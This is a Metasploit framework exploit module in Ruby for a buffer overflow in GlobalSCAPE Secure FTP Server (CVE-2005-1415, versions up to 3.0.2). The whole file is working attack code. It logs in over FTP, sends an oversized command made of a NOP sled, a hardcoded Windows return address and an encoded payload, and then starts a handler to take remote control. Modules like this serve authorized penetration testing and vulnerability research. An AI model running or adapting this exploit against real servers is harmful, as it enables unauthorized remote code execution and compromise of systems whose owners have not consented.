1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Ftp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow',
16
        'Description' => %q{
17
          This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
18
          All versions prior to 3.0.3 are affected by this flaw. A valid user account (
19
          or anonymous access) is required for this exploit to work.
20
        },
21
        'Author' => [ 'Fairuzan Roslan <riaf[at]mysec.org>', 'Mati Aharoni <mati[at]see-security.com>' ],
22
        'License' => BSD_LICENSE,
23
        'References' => [
24
          [ 'CVE', '2005-1415'],
25
          [ 'OSVDB', '16049'],
26
          [ 'BID', '13454'],
27
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
28
        ],
29
        'Privileged' => false,
30
        'Payload' => {
31
          'Space' => 1000,
32
          'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
33
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
34
        },
35
        'Platform' => [ 'win' ],
36
        'Targets' => [
37
          [
38
            'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
39
            {
40
              'Ret' => 0x1002f01f,
41
            },
42
          ],
43
        ],
44
        'DisclosureDate' => '2005-05-01',
45
        'DefaultTarget' => 0,
46
        'Notes' => {
47
          'Reliability' => UNKNOWN_RELIABILITY,
48
          'Stability' => UNKNOWN_STABILITY,
49
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
        }
51
      )
52
    )
53
  end
54

55
  def exploit
56
    c = connect_login
57
    return if not c
58

59
    buf = make_nops(3047)
60
    buf[2043, 4] = [ target.ret ].pack('V')
61
    buf[2047, payload.encoded.length] = payload.encoded
62

63
    send_cmd([buf])
64

65
    handler
66
    disconnect
67
  end
68
end
69

70